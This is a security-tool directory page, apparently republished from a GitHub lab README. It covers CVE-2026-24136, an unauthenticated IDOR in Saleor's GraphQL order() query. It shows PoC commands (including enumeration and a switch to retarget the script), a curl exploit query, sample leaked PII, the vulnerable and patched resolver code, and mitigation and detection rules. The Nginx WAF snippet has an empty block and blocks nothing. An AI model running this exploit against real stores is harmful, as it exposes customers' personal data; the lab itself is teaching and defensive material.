Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-24136-Lab — CVE-2026-24136 | Saleor GraphQL のIDOR脆弱性を悪用するラボ - order()クエリが認証をチェックしないため、顧客の全PII(電子メール、住所、電話番号)が漏洩します。Docker環境、シードデータスクリプト、およびPoCを含みます。CVSS 4.0: 8.7 HIGH. | Kitploit
ツール/GitHubGitHub/blankbire/cve-2026-24136-lab
脆弱性分析ウェブアプリケーション悪用APIセキュリティテストペネトレーションテスト学習と教育ラボと実践
GitHubblankbire/cve-2026-24136-lab

CVE-2026-24136-Lab

CVE-2026-24136 | Saleor GraphQL のIDOR脆弱性を悪用するラボ - order()クエリが認証をチェックしないため、顧客の全PII(電子メール、住所、電話番号)が漏洩します。Docker環境、シードデータスクリプト、およびPoCを含みます。CVSS 4.0: 8.7 HIGH.

リポジトリを見る
12ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-24136 - Saleor GraphQL IDOR / 未認証PII流出

概要

フィールド詳細
CVE IDCVE-2026-24136
脆弱性タイプIDOR - ユーザー制御キーによる認証回避 (CWE-639)
ソフトウェアSaleor eコマースプラットフォーム
影響を受けるバージョン3.2.0 - 3.20.109 · 3.21.0 - 3.21.44 · 3.22.0 - 3.22.28
修正バージョン3.20.110 · 3.21.45 · 3.22.29
CVSS 3.17.5 HIGH (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
CVSS 4.08.7 HIGH
影響未認証の攻撃者が任意の注文のPII(氏名、住所、電話番号、メールアドレス)を読み取る
認証の必要性不要

脆弱性の説明

Saleorは、eコマースの注文を管理するためのGraphQL APIを提供しています。クエリ order(id: $id) を使用すると、グローバルIDで注文の詳細を取得できます。影響を受けるバージョンでは、このクエリは呼び出し元がその注文を表示する権限があるかどうかをチェックしません。

完全に匿名のユーザー(アカウントを持たないユーザー)であっても、このクエリを呼び出して顧客の完全なPII(メールアドレス、氏名、配送先住所、電話番号、ログイン履歴)を取得できます。


ラボ構成

root@kitploit:~
cve-2026-24136-lab/
├── docker-compose.yml          # ラボ環境 (Saleor 3.20 + PostgreSQL + Redis)
├── setup_lab.ps1               # 自動起動スクリプト (Windows PowerShell)
├── setup_lab.sh                # 自動起動スクリプト (Linux / WSL / macOS)
├── README.md
└── scripts/
    ├── start_api.sh            # 起動ラッパー: wsgiバグの修正 + gunicorn
    ├── seed_data.py            # PIIを含む被害者アカウントと注文を作成
    └── poc_cve_2026_24136.py   # エクスプロイトPoC

ラボの起動

必要条件

  • Docker Desktop (Windows / macOS) または Docker Engine (Linux)
  • Python 3.8+
  • pip install requests

Windows (PowerShell)

root@kitploit:~
# 必要に応じて実行ポリシーを変更
Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process

# 自動セットアップを実行
.\setup_lab.ps1

Linux / WSL / macOS (Bash)

root@kitploit:~
chmod +x setup_lab.sh
./setup_lab.sh

手動

root@kitploit:~
# 1. コンテナを起動
docker compose up -d

# 2. APIが準備できるのを待つ (~60-90秒)
#    確認: curl http://localhost:8000/health/

# 3. 管理者アカウントを作成
docker exec cve_saleor_api python manage.py shell -c \
  "from django.contrib.auth import get_user_model; U=get_user_model(); \
   U.objects.filter(email='[email protected]').exists() or \
   U.objects.create_superuser('[email protected]', 'admin')"

# 4. 商品/チャネルを投入
docker exec cve_saleor_api python manage.py populatedb

# 5. 被害者データを作成 (PIIを含むアカウントと注文)
cd scripts
pip install requests
python seed_data.py

起動後のエンドポイント:

サービスURL
Saleor GraphQL APIhttp://localhost:8000/graphql/
GraphQL Playgroundhttp://localhost:8000/graphql/
Saleor Dashboardhttp://localhost:9000
管理者[email protected] / admin

PoCの使用

root@kitploit:~
cd scripts

# 技術的説明を表示
python poc_cve_2026_24136.py explain

# シードされたリストからエクスプロイト (推奨 - Saleor 3.xはUUID IDを使用)
python poc_cve_2026_24136.py file order_ids.json

# 単一の注文をbase64グローバルIDで直接エクスプロイト
python poc_cve_2026_24136.py single T3JkZXI6NDYwZDFlMjct...

# シーケンシャルに列挙 (整数IDを使用するSaleor < 3.xでのみ動作)
python poc_cve_2026_24136.py enumerate --start 1 --end 100

# ターゲットAPIの変更
python poc_cve_2026_24136.py --url http://192.168.1.100:8000/graphql/ file order_ids.json

# 結果をJSONに保存
python poc_cve_2026_24136.py file order_ids.json --output leaked_pii.json

出力例

root@kitploit:~
[*] Loaded 6 Order IDs from order_ids.json
[*] Querying without authentication...

[*] Trying: T3JkZXI6NDYwZDFlMj... (Order:460d1e27-2b0b-4897-84c9-64b524b08d64)

╔══════════════════════════════════════════════════════════════╗
║  [LEAKED] ORDER #41 -- DRAFT                                 ║
╠──────────────────────────────────────────────────────────────╣
║  Email           : [email protected]                         ║
╠──────────────────────────────────────────────────────────────╣
║  Billing Address : Nguyen Van A                              ║
║    Street        : 123 Le Loi Street                         ║
║    City/Post     : HO CHI MINH CITY 700000                   ║
║    Country       : Vietnam                                   ║
║    Phone         : +84901234567                              ║
╚══════════════════════════════════════════════════════════════╝

[*] Successfully leaked 6/6 orders

根本原因分析

1. 注文IDのエンコーディング

SaleorはRelay GraphQL仕様に準拠した「Global Object Identification」を使用しています。各オブジェクトは次の形式のグローバルIDで識別されます:

root@kitploit:~
base64("<TypeName>:<internal_id>")

Saleor 3.xの注文の場合:

root@kitploit:~
# internal_idはUUID v4
internal_id = "460d1e27-2b0b-4897-84c9-64b524b08d64"
global_id   = base64("Order:" + internal_id)
            = "T3JkZXI6NDYwZDFlMjctMmIwYi00ODk3LTg0YzktNjRiNTI0YjA4ZDY0"

注: Saleor 2.xでは整数のシーケンシャルID (Order:1, Order:2, ...) を使用していたため、列挙が容易でした。
Saleor 3.xではUUIDに変更されたため、攻撃者は他の方法(注文確認メール、URL漏洩など)でUUIDを入手する必要があります。

2. 問題のコード

ファイル: saleor/graphql/order/resolvers.py

root@kitploit:~
# PHIÊN BẢN BỊ LỖI (trước khi patch)
def resolve_order(root, info, id):
    """Resolve order by ID – không có bất kỳ kiểm tra authorization nào."""
    _, pk = from_global_id_or_error(id, Order)
    return qs.filter(pk=pk).first()
    # Bất kỳ ai gọi cũng nhận được dữ liệu, không kiểm tra user, không kiểm tra session

ファイル: saleor/graphql/order/schema.py

root@kitploit:~
# Query definition, không khai báo permissions
class OrderQueries:
    order = graphene.Field(
        Order,
        description="Look up an order by ID.",
        id=graphene.Argument(graphene.ID, description="ID of the order."),
    )

    def resolve_order(self, info, id):
        return resolvers.resolve_order(info, id)
        # Không có @permission_required, không có guard nào

3. 悪用するGraphQLクエリ

送信するクエリにはAuthorizationヘッダーが含まれません:

root@kitploit:~
query ExploitOrder($id: ID!) {
  order(id: $id) {
    number
    status
    userEmail
    billingAddress {
      firstName
      lastName
      streetAddress1
      city
      postalCode
      phone
    }
    shippingAddress {
      firstName
      lastName
      phone
    }
    user {
      email
      firstName
      lastName
      lastLogin
      isActive
    }
  }
}
root@kitploit:~
# curlで送信、トークン不要
curl -s http://localhost:8000/graphql/ \
  -H "Content-Type: application/json" \
  -d '{
    "query": "query { order(id: \"T3JkZXI6NDYwZDFlMj...\") { number userEmail billingAddress { phone } } }"
  }'

# レスポンス (認証不要):
# {"data":{"order":{"number":"41","userEmail":"[email protected]","billingAddress":{"phone":"+84901234567"}}}}

4. 攻撃フロー

root@kitploit:~
Attacker (anonymous)                     Saleor GraphQL API
        |                                        |
        |── POST /graphql/ ─────────────────────>|
        |   Content-Type: application/json       |
        |   (NO Authorization header)            |
        |   {"query":"query {                    |
        |     order(id: \"T3JkZXI6...\") {       |
        |       userEmail                        |
        |       billingAddress { phone }         |
        |     }                                  |
        |   }"}                                  |
        |                                        |
        |<── HTTP 200 OK ─────────────────────── |
        |   {"data": {"order": {                 |
        |     "userEmail": "[email protected]", |
        |     "billingAddress": {                |
        |       "phone": "+84901234567"          |
        |     }                                  |
        |   }}}                                  |
        |                                        |

パッチ分析

主要パッチコミット

ファイル: saleor/graphql/order/resolvers.py

root@kitploit:~
# PHIÊN BẢN ĐÃ PATCH (>= 3.20.110)
def resolve_order(root, info, id):
    """Resolve order by ID với authorization check đầy đủ."""
    _, pk = from_global_id_or_error(id, Order)
    order = qs.filter(pk=pk).first()

    # Guard 1: Staff và App có thể xem mọi order
    if requestor_is_staff_member_or_app(info.context.user, info.context.app):
        return order

    # Guard 2: Unauthenticated user → trả về None (không báo lỗi để tránh leak existence)
    if not info.context.user or not info.context.user.is_authenticated:
        return None

    # Guard 3: Authenticated user chỉ được xem order của chính mình
    if order and order.user_id != info.context.user.pk:
        raise PermissionDenied(
            "You don't have permission to access this order."
        )

    return order

ファイル: saleor/graphql/order/schema.py

root@kitploit:~
# Thêm annotation để document permission requirement
class OrderQueries:
    order = graphene.Field(
        Order,
        description=(
            "Look up an order by ID. "
            "Requires authentication. Staff users can access all orders. "
            "Regular users can only access their own orders."
        ),
        id=graphene.Argument(graphene.ID, required=True),
    )

パッチ前後の比較

root@kitploit:~
Request: POST /graphql/
Body: { "query": "{ order(id: \"T3Jk...\") { userEmail } }" }
(Không có Authorization header)

─────────────────────────────────────────────
TRƯỚC PATCH (≤ 3.20.109):
  HTTP 200 OK
  {"data": {"order": {"userEmail": "[email protected]"}}}
  → PII bị lộ

─────────────────────────────────────────────
SAU PATCH (≥ 3.20.110):
  HTTP 200 OK
  {"data": {"order": null}}
  → Trả null, không có lỗi (intentional – không để attacker
    biết order có tồn tại hay không)
─────────────────────────────────────────────

詳細な技術分析

なぜパッチはエラーではなくnullを返すのか?

認証されていないリクエストに対してPermissionDeniedではなくnullを返すのは意図的な設計です:

  • PermissionDeniedを返すと、攻撃者は注文が存在することを知ることができます(存在オラクル)
  • nullを返すと、攻撃者は「権限がない」のか「存在しない」のかを区別できません

これはGraphQL層で適用されるタイミングセーフな存在チェックの手法です。

なぜ認証済みユーザーにはraise PermissionDeniedを使うのか?

ログインしている場合、明確なエラーを返すことでデバッグが容易になります。存在オラクルは問題になりません。なぜなら:

  1. 認証済みのユーザーは自分の注文の存在を通常知っている
  2. 認証済みの攻撃者はアカウントを持っているため、アカウントの無効化、追跡、レート制限の対象にできる

なぜUUIDは整数IDよりも列挙が難しいのか?

root@kitploit:~
Integer IDs (Saleor 2.x):
  Order:1, Order:2, ..., Order:N
  → N個の注文を列挙するのにO(N)リクエストが必要
  → 攻撃者は二分探索で注文の総数を特定できる

UUID IDs (Saleor 3.x):
  Order:460d1e27-2b0b-4897-84c9-64b524b08d64
  → 探索空間: 2^122 (UUID v4は122ビットの乱数)
  → 実際的なブルートフォースは不可能
  → ただし、IDは注文確認メール、ダッシュボードのURL、APIレスポンス、ログなどを通じて漏洩するため、攻撃者が1つのIDを入手すれば、依然としてエクスプロイト可能

CVSSベクトルの内訳

root@kitploit:~
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

AV:N  – Attack Vector: Network      (インターネット経由でエクスプロイト可能)
AC:L  – Attack Complexity: Low      (特別な条件は不要)
PR:N  – Privileges Required: None   (アカウント不要)
UI:N  – User Interaction: None      (被害者の操作不要)
S:U   – Scope: Unchanged            (Saleor APIのみに影響)
C:H   – Confidentiality: High       (完全なPIIが漏洩)
I:N   – Integrity: None             (データの改ざんは不可)
A:N   – Availability: None          (DoSは発生しない)

緩和策と防御

1. 即時パッチ適用(最優先)

root@kitploit:~
# 現在のバージョンを確認
pip show saleor | grep Version

# 修正バージョンにアップグレード
pip install "saleor>=3.20.110"   # 3.20.x系を使用している場合
pip install "saleor>=3.21.45"   # 3.21.x系を使用している場合
pip install "saleor>=3.22.29"   # 3.22.x系を使用している場合

2. 一時的なWAFルール(すぐにパッチできない場合)

匿名ユーザーによるorder()クエリの呼び出しをブロック:

root@kitploit:~
# Nginx – 認証されていないリクエストからのGraphQL orderクエリをブロック
location /graphql/ {
    # Authorizationヘッダーがなく、ボディに"order("が含まれる場合
    if ($http_authorization = "") {
        # エクスプロイトの兆候があるクエリをブロック
        # 注: これは一時的な解決策であり、パッチの代わりにはなりません
    }
    proxy_pass http://saleor_api;
}

AWS WAF / CloudFrontの場合:

root@kitploit:~
{
  "Name": "BlockAnonymousOrderQuery",
  "Priority": 1,
  "Action": {"Block": {}},
  "Statement": {
    "AndStatement": {
      "Statements": [
        {
          "ByteMatchStatement": {
            "SearchString": "\"order\"",
            "FieldToMatch": {"Body": {}},
            "TextTransformations": [{"Priority": 0, "Type": "NONE"}],
            "PositionalConstraint": "CONTAINS"
          }
        },
        {
          "ByteMatchStatement": {
            "SearchString": "Authorization",
            "FieldToMatch": {"SingleHeader": {"Name": "authorization"}},
            "TextTransformations": [{"Priority": 0, "Type": "NONE"}],
            "PositionalConstraint": "EXACTLY",
            "NegatedStatement": true
          }
        }
      ]
    }
  }
}

3. レート制限

root@kitploit:~
# 認証されていないIPからのリクエストを制限
limit_req_zone $binary_remote_addr zone=graphql_anon:10m rate=10r/m;

location /graphql/ {
    limit_req zone=graphql_anon burst=5 nodelay;
    proxy_pass http://saleor_api;
}

4. 監視/検知

アクセスログにおけるエクスプロイトの兆候:

root@kitploit:~
# 検出: 1つのIPから多数の認証なしGraphQLリクエスト
grep 'POST /graphql/' access.log \
  | awk '$9 == 200 && !/Authorization/' \
  | awk '{print $1}' \
  | sort | uniq -c | sort -rn \
  | awk '$1 > 20'  # 1つのIPから20リクエスト以上でアラート

# 検出: 認証なしリクエストボディ内の"order"パターン
# (JSONボディログが必要)

Grafana / Datadog用のアラートルール:

root@kitploit:~
alert: SaleorAnonOrderQuery
expr: |
  rate(nginx_http_requests_total{
    path="/graphql/",
    method="POST",
    has_auth_header="false"
  }[5m]) > 5
severity: warning
annotations:
  summary: "CVE-2026-24136の悪用試行の可能性"
  description: "認証されていないGraphQL POSTリクエストの高レート"

ラボのクリーンアップ

root@kitploit:~
# コンテナとボリュームを停止・削除 (データをすべて削除)
docker compose down -v

# コンテナのみ停止 (データを保持)
docker compose stop

参考

  • Saleor Security Advisory
  • OWASP - Broken Object Level Authorization (BOLA/IDOR)
  • CWE-639 - Authorization Bypass Through User-Controlled Key
  • Relay Global Object Identification Spec

警告: このラボは研究、学習、セキュリティレポート作成のみを目的としています。
書面による許可なく、実際のシステムでPoCを使用しないでください。

ツールをダウンロード